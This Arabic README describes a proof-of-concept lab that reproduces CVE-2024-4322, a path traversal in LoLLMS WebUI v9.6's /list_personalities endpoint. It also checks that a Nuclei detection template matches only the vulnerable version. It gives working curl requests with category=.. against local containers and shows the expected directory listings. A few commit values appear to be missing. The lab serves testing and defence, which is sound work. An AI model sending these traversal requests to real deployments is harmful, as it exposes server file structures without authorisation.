
POC_CVE-2024-4322
يوفر هذا المستودع مختبرات محلية معتمدة على Docker لإعادة إنتاج CVE-2024-4322، وهي ثغرة اجتياز المسار في LoLLMS WebUI الإصدار 9.6، وللتحقق من أن قالب Nuclei المرتبط لا يطابق LoLLMS WebUI الإصدار 9.8.
استخدم هذا المختبر فقط ضد أهداف محلية أو مملوكة لك أو مرخَّص بها صراحةً.
نقطة النهاية /list_personalities في LoLLMS WebUI الإصدار 9.6 معرضة لاجتياز
المسار. يتم إلحاق المعامل category الذي يتحكم فيه المستخدم بـ
personalities_zoo_path دون تنقية:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
من خلال إرسال category=..، يمكن للطلب تجاوز دليل الشخصيات المقصود
وسرد محتويات الدليل الأصلي.
إشارة الثغرة المتوقعة:
category= -> []
category=.. -> response contains "personalities_zoo"
سلوك الإصدار 9.8 المُصلَح يرفض مدخلات الاجتياز قبل سرد الدليل.
نفّذ جميع الأوامر من الدليل الذي يحتوي على هذا README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
انتظر حتى يظهر:
Uvicorn running on http://0.0.0.0:9600
اضغط Ctrl-C لإيقاف متابعة السجلات.
تستمر الحاوية في العمل.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
النتيجة المتوقعة:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
قد يختلف الترتيب. الإشارة المهمة هي أن استجابة الاجتياز تختلف عن استجابة
التحكم وتحتوي على personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
النتيجة المتوقعة:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
انتظر حتى يظهر:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
النتيجة المتوقعة:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
النتيجة المتوقعة:
[INF] Scan completed ... 0 matches found.

يتطلب هذا تشغيل Docker Desktop في وضع حاويات ويندوز. نفّذ الأوامر أدناه من هذا الدليل في PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
انتظر حتى يظهر:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
النتيجة المتوقعة:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
قد يختلف الترتيب. الإشارة المهمة هي أن استجابة الاجتياز تختلف عن استجابة
التحكم وتحتوي على personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
النتيجة المتوقعة:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

يتطلب هذا تشغيل Docker Desktop في وضع حاويات ويندوز. نفّذ الأوامر أدناه من هذا الدليل في PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
انتظر حتى يظهر:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
النتيجة المتوقعة:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
النتيجة المتوقعة:
[INF] Scan completed ... 0 matches found.

حاويات لينكس:
docker compose --profile patched down --rmi local
حاويات ويندوز:
docker compose --profile windows down
curl.jq لأمثلة HTTP الخاصة بمختبر لينكس المعرض للثغرة.إذا لم يكن jq متاحًا على مضيف لينكس، فاستخدم حاوية المحلل:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
إذا لم يكن Nuclei مثبتًا على ويندوز، فقم بتنزيل الإصدار الثنائي الخاص بويندوز
من https://github.com/projectdiscovery/nuclei/releases، وفك ضغطه، ثم شغّل
nuclei.exe مباشرة من الدليل المستخرج.
تقوم ملفات Dockerfiles بتعديل المثبّتات التاريخية أثناء البناء بحيث يكون المختبر قابلاً لإعادة الإنتاج اليوم:
تستنسخ المختبرات المعرضة للثغرة وسم lollms-webui بالإصدار v9.6.
تستنسخ المختبرات المُصلَحة وسم lollms-webui بالإصدار v9.8.
يُعاد كتابة عنوان URL للوحدة الفرعية lollms_core إلى
https://github.com/ParisNeo/lollms_legacy.git لأن سجل المصدر القديم انتقل
إلى هناك.
يتم فحص تثبيت الإصدار مقابل بيانات Git الوصفية من المنبع: v9.6 هو
e2f2d313cd6ea3fe81dfc4496f985f5b650853b9، وv9.8 هو
8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
التزامات الوحدة الفرعية المقابلة lollms_core هي
للإصدار 9.6 و
للإصدار 9.8، ويتم التحقق منها
باستخدام عند كل فحص للوسم.
الثابت المكسور هو:
resolved path must stay inside the personalities directory
يعالج LoLLMS WebUI الإصدار 9.8 والإصدارات الأحدث المشكلة عن طريق تنقية أو تقييد
مسار category قبل وصوله إلى منطق سرد الدليل في نظام الملفات. بالنسبة لعمليات
النشر الفعلية، قم بترقية LoLLMS WebUI إلى الإصدار 9.8 أو أحدث.
| البيئة | الإصدار | الخدمة | رابط المضيف | نتيجة القالب المتوقعة |
|---|
| لينكس معرض للثغرة | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | تطابق |
| لينكس مُصلَح | v9.8 | linux-patched-server | http://127.0.0.1:9602 | لا تطابق |
| ويندوز معرض للثغرة | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | تطابق |
| ويندوز مُصلَح | v9.8 | windows-patched-server | http://127.0.0.1:9603 | لا تطابق |
cfb18f6f1091addf440347322441ab28005a2d3b6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49git ls-tree HEAD lollms_coreيتم تعطيل خيارات auto_update وauto_sync_* لإبقاء كل مختبر مثبتًا
على إصدار محدد.
يتم حقن ملفات إعدادات headless حتى يتمكن الخادم من البدء دون مطالبات.
يتم تخطي التبعيات الثقيلة غير اللازمة للتحقق من نقطة النهاية حيثما أمكن.
يتم تعديل مثبّتات ويندوز لإنشاء دليلها المؤقت وتجنب الوحدات الفرعية المتكررة القديمة.